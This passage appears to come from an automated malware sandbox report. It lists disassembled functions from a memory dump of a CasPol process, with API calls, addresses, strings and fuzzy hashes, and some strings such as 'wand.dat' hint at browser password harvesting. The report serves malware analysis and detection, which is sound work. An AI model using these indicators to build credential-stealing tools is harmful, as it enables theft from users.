                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,shlwapi.dll,750A375A,?,00405751,00000000), ref: 00414E2B
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,00405751,00000000), ref: 00414E43
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID: SHAutoComplete$shlwapi.dll
                                                                                                                                                                  • API String ID: 3150196962-1506664499
                                                                                                                                                                  • Opcode ID: d2abe1e6ce67af05a23a9289f1a003983cf5919859a34de4ac3658ffea157a86
                                                                                                                                                                  • Instruction ID: 56be8aed7d941f739c6f69dc747e21d8edf2639efa9d7e462eda1ee05908af23
                                                                                                                                                                  • Opcode Fuzzy Hash: d2abe1e6ce67af05a23a9289f1a003983cf5919859a34de4ac3658ffea157a86
                                                                                                                                                                  • Instruction Fuzzy Hash: C1D0C2353002315BD6616B27AC04AAF2A99EFC13A1B054035F928D2210DBA84996827D
                                                                                                                                                                  Function 0041D893 Relevance: 6.3, APIs: 5, Instructions: 82COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000030,00000000), ref: 0041D8A6
                                                                                                                                                                  • memcpy.MSVCRT(?,-00000030,00000030,?,00000000,00000030,00000000), ref: 0041D8BC
                                                                                                                                                                  • memcmp.MSVCRT ref: 0041D8CB
                                                                                                                                                                  • memcmp.MSVCRT ref: 0041D913
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000030,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041D92E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memcmp
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3384217055-0
                                                                                                                                                                  • Opcode ID: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                                                                                                                                                                  • Instruction ID: f5df6941464580ef2fdae31f27b7f31021858bb2d0e37ec30fcb1df3a02010a9
                                                                                                                                                                  • Opcode Fuzzy Hash: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                                                                                                                                                                  • Instruction Fuzzy Hash: 8821B2B2E10249ABDB14EA91DC46EDF73FC9B44704F01442AF512D7181EB28E644C725
                                                                                                                                                                  Function 00412A2A Relevance: 6.3, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$memcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 368790112-0
                                                                                                                                                                  • Opcode ID: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                                                                                                                                                                  • Instruction ID: abb90bdd0bd5c960a46cc99acd1c91865272cbbdb433919b32c204757dd19146
                                                                                                                                                                  • Opcode Fuzzy Hash: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                                                                                                                                                                  • Instruction Fuzzy Hash: 0201FCB5740B007BF235AB35CC03F9A73A8AF52724F004A1EF153966C2DBF8A554819D
                                                                                                                                                                  Function 00410D9B Relevance: 6.2, APIs: 4, Instructions: 169windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004019D8: GetMenu.USER32(?), ref: 004019F6
                                                                                                                                                                    • Part of subcall function 004019D8: GetSubMenu.USER32(00000000), ref: 004019FD
                                                                                                                                                                    • Part of subcall function 004019D8: EnableMenuItem.USER32(?,?,00000000), ref: 00401A15
                                                                                                                                                                    • Part of subcall function 00401A1F: SendMessageW.USER32(?,00000412,?,00000000), ref: 00401A36
                                                                                                                                                                    • Part of subcall function 00401A1F: SendMessageW.USER32(?,00000411,?,?), ref: 00401A5A
                                                                                                                                                                  • GetMenu.USER32(?), ref: 00410F8D
                                                                                                                                                                  • GetSubMenu.USER32(00000000), ref: 00410F9A
                                                                                                                                                                  • GetSubMenu.USER32(00000000), ref: 00410F9D
                                                                                                                                                                  • CheckMenuRadioItem.USER32(00000000,0000B284,0000B287,?,00000000), ref: 00410FA9
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Menu$ItemMessageSend$CheckEnableRadio
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1889144086-0
                                                                                                                                                                  • Opcode ID: 48c6688bed2e9d799b6f1c845f6ed1ed25569c1cc633281ca29a779208fa5c2f
                                                                                                                                                                  • Instruction ID: be5000c07a60ff25a23af51018491178d5f127676f18bd69b4cc56e9e4830f27
                                                                                                                                                                  • Opcode Fuzzy Hash: 48c6688bed2e9d799b6f1c845f6ed1ed25569c1cc633281ca29a779208fa5c2f
                                                                                                                                                                  • Instruction Fuzzy Hash: D5517171B40704BFEB20AB66CD4AF9FBAB9EB44704F00046EB249B72E2C6756D50DB54
                                                                                                                                                                  Function 00417FD5 Relevance: 6.1, APIs: 4, Instructions: 138fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,?,00000000), ref: 004180B8
                                                                                                                                                                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,?,?), ref: 004180E3
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041810A
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00418120
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateErrorHandleLastMappingView
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1661045500-0
                                                                                                                                                                  • Opcode ID: eb48187120a9c185743a1b3c178acae082383636f0c481d7e40b999055df197a
                                                                                                                                                                  • Instruction ID: 5cb71d9443798353a032a6b226e7c46d85178154149a60e532078a3cdb21b7c8
                                                                                                                                                                  • Opcode Fuzzy Hash: eb48187120a9c185743a1b3c178acae082383636f0c481d7e40b999055df197a
                                                                                                                                                                  • Instruction Fuzzy Hash: 64518A71204706DFDB24CF25C984AA7BBE5FF88344F10492EF84287691EB74E895CB99
                                                                                                                                                                  Function 0042EB92 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 133COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00415A91: memset.MSVCRT ref: 00415AAB
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?), ref: 0042EC7A
                                                                                                                                                                  Strings
                                                                                                                                                                  • sqlite_altertab_%s, xrefs: 0042EC4C
                                                                                                                                                                  • virtual tables may not be altered, xrefs: 0042EBD2
                                                                                                                                                                  • Cannot add a column to a view, xrefs: 0042EBE8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpymemset
                                                                                                                                                                  • String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
                                                                                                                                                                  • API String ID: 1297977491-2063813899
                                                                                                                                                                  • Opcode ID: 474643fef30daba4970a7dc8f748fcc45b15c3e498b07267a37eb72da69de8bb
                                                                                                                                                                  • Instruction ID: f910cd7a27c7e389b2617bf4251edf561ae6288f62f29054cc1fb9bea0934792
                                                                                                                                                                  • Opcode Fuzzy Hash: 474643fef30daba4970a7dc8f748fcc45b15c3e498b07267a37eb72da69de8bb
                                                                                                                                                                  • Instruction Fuzzy Hash: 1E418E75A00615EFCB04DF5AD881A99BBF0FF48314F65816BE808DB352D778E950CB88
                                                                                                                                                                  Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040560C
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                    • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                    • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                    • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                    • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                    • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                                                                                                    • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                                                                    • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                                                                                                    • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                                                                                                    • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                                                                                                    • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                                                                                                    • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                                                                                                  • String ID: *.*$dat$wand.dat
                                                                                                                                                                  • API String ID: 2618321458-1828844352
                                                                                                                                                                  • Opcode ID: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                                                                                                  • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                                                                                                                                                                  • Opcode Fuzzy Hash: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                                                                                                  • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                                                                                                                                                                  Function 00410C46 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                                                                                                                                                                    • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040EDC0
                                                                                                                                                                  • wcslen.MSVCRT ref: 00410C74
                                                                                                                                                                  • _wtoi.MSVCRT(?), ref: 00410C80
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00410CCE
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00410CDF
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp$??2@??3@_wtoiwcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1549203181-0
                                                                                                                                                                  • Opcode ID: a5a55a776a9d7000c7a90f9dc0003ee3df1153e447b70ecb3cda70254c63b6c3
                                                                                                                                                                  • Instruction ID: d767fa7272777d82bc727b9b5621bf7cb5fcf48a3d465f11467ce1d5a1151d11
                                                                                                                                                                  • Opcode Fuzzy Hash: a5a55a776a9d7000c7a90f9dc0003ee3df1153e447b70ecb3cda70254c63b6c3
                                                                                                                                                                  • Instruction Fuzzy Hash: 5E4190359006089FCF21DFA9D480AD9BBB4EF48318F1105AAEC05DB316D6B4EAC08B99
                                                                                                                                                                  Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00412057
                                                                                                                                                                    • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                                                                                                                                                                  • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                                                                                                                                                                  • GetKeyState.USER32(00000010), ref: 0041210D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ExecuteMenuMessageSendShellStateStringmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3550944819-0
                                                                                                                                                                  • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                                                                  • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                                                                                                                                                                  • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                                                                  • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                                                                                                                                                                  Function 0040F508 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • free.MSVCRT ref: 0040F561
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000001,g4@,00000000,0000121C,?,?,?,00403467), ref: 0040F573
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?,00000000), ref: 0040F5A6
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$free
                                                                                                                                                                  • String ID: g4@
                                                                                                                                                                  • API String ID: 2888793982-2133833424
                                                                                                                                                                  • Opcode ID: 37ff6d91120af751e53e18efb23c18060f8529393ff4323a563ff9c980eac345
                                                                                                                                                                  • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                                                                                                                                                                  • Opcode Fuzzy Hash: 37ff6d91120af751e53e18efb23c18060f8529393ff4323a563ff9c980eac345
                                                                                                                                                                  • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                                                                                                                                                                  Function 0041298C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000040,00000001,0044EB0C,?,?,004131CA,?,0044EB0C), ref: 004129CF
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000040,00000001,0044EB0C,?,?,004131CA,?,0044EB0C), ref: 004129F9
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000013,00000001,0044EB0C,?,?,004131CA,?,0044EB0C), ref: 00412A1D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                  • String ID: @
                                                                                                                                                                  • API String ID: 3510742995-2766056989
                                                                                                                                                                  • Opcode ID: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                                                                                                                                                                  • Instruction ID: b25eae0e74258469ce0af521155fdf6a80f479b4e9ffe9ec94392e3587c9c40c
                                                                                                                                                                  • Opcode Fuzzy Hash: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                                                                                                                                                                  • Instruction Fuzzy Hash: 65115EF2A003057FDB349E15D980C9A77A8EF50394B00062FF90AD6151E7B8DEA5C7D9
                                                                                                                                                                  Function 0040AED2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040AF07
                                                                                                                                                                  • memset.MSVCRT ref: 0040AF18
                                                                                                                                                                  • memcpy.MSVCRT(0045A474,?,?,00000000,00000000,?,00000000,?,?,00401516,?,?,?,?,00457660,0000000C), ref: 0040AF24
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT ref: 0040AF31
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@??3@memcpymemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1865533344-0
                                                                                                                                                                  • Opcode ID: 63ad74f41b12567b58218fea097aeaefd91ee3ffeae00ec4d641ec9fdbd265cd
                                                                                                                                                                  • Instruction ID: b60eca7fe842e91d7951f76ed0837c2ba419520120b0ca9395dcc9976308fc09
                                                                                                                                                                  • Opcode Fuzzy Hash: 63ad74f41b12567b58218fea097aeaefd91ee3ffeae00ec4d641ec9fdbd265cd
                                                                                                                                                                  • Instruction Fuzzy Hash: C7118C71204701AFD328DF2DC881A27F7E9EF99300B21892EE49AC7385DA35E811CB55
                                                                                                                                                                  Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004144E7
                                                                                                                                                                    • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                                                                                                                                                                    • Part of subcall function 0040A353: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                                                                                                                                                                  • memset.MSVCRT ref: 0041451A
                                                                                                                                                                  • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1127616056-0
                                                                                                                                                                  • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                                                                                                  • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                                                                                                                                                                  • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                                                                                                  • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                                                                                                                                                                  Function 0042FE8B Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000068,sqlite_master), ref: 0042FEC6
                                                                                                                                                                  • memset.MSVCRT ref: 0042FED3
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000068,?,?,?,00000000,?,?,?,?,?,?,?,sqlite_master), ref: 0042FF04
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memset
                                                                                                                                                                  • String ID: sqlite_master
                                                                                                                                                                  • API String ID: 438689982-3163232059
                                                                                                                                                                  • Opcode ID: ce75bbd10503082b7a64f0374325e472d1c426e795aaa729e5fb1d324fd651cc
                                                                                                                                                                  • Instruction ID: 9056235088afc86d32383ab843763c359d37acea7f1aa245e41bfa901f9896ac
                                                                                                                                                                  • Opcode Fuzzy Hash: ce75bbd10503082b7a64f0374325e472d1c426e795aaa729e5fb1d324fd651cc
                                                                                                                                                                  • Instruction Fuzzy Hash: 9401C872D006047BDB11AFB19C42FDEBB7CEF05318F51452BFA0461182E73A97248795
                                                                                                                                                                  Function 00414D8A Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SHGetMalloc.SHELL32(?), ref: 00414D9A
                                                                                                                                                                  • SHBrowseForFolderW.SHELL32(?), ref: 00414DCC
                                                                                                                                                                  • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00414DE0
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00414DF3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: BrowseFolderFromListMallocPathwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3917621476-0
                                                                                                                                                                  • Opcode ID: d90d9ac40998c7a3314b3e96da16ed6310d1c669f25a0de425d8610d706a6174
                                                                                                                                                                  • Instruction ID: 3f0f02420fde520a26c7535fd1ed00e0b1d7e8cc8ebd586967f5863715f62e8c
                                                                                                                                                                  • Opcode Fuzzy Hash: d90d9ac40998c7a3314b3e96da16ed6310d1c669f25a0de425d8610d706a6174
                                                                                                                                                                  • Instruction Fuzzy Hash: 3311FAB5A00208AFDB10DFA9D9889EEB7F8FB49314F10446AF905E7200D739DB45CB64
                                                                                                                                                                  Function 00410FB4 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                    • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                    • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 00410FE1
                                                                                                                                                                  • SendMessageW.USER32(?,0000040B,00000000,?), ref: 00411046
                                                                                                                                                                    • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                    • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0041100C
                                                                                                                                                                  • wcscat.MSVCRT ref: 0041101F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 822687973-0
                                                                                                                                                                  • Opcode ID: 31feba04f8ec477b70d9d9ccd2954727a7d962f108a96a42e882c3f5707c4d5c
                                                                                                                                                                  • Instruction ID: a8ddfa12325215ca31dcaa8c3ea10779747deab4b932dc2622e692dd88e5739d
                                                                                                                                                                  • Opcode Fuzzy Hash: 31feba04f8ec477b70d9d9ccd2954727a7d962f108a96a42e882c3f5707c4d5c
                                                                                                                                                                  • Instruction Fuzzy Hash: DC0184B59003056AF730E765DC86FAB73ACAB44708F04047AB319F6183DA79A9454A6D
                                                                                                                                                                  Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                                                                                                                                                                  • malloc.MSVCRT ref: 00417459
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,756F18FE,?,0041755F,?), ref: 00417478
                                                                                                                                                                  • free.MSVCRT ref: 0041747F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$freemalloc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2605342592-0
                                                                                                                                                                  • Opcode ID: 11289aaf4270ed2c5fe81a5d6e150162e8e95aba20a128aae83a55a74a659502
                                                                                                                                                                  • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                                                                                                                                                                  • Opcode Fuzzy Hash: 11289aaf4270ed2c5fe81a5d6e150162e8e95aba20a128aae83a55a74a659502
                                                                                                                                                                  • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                                                                                                                                                                  Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
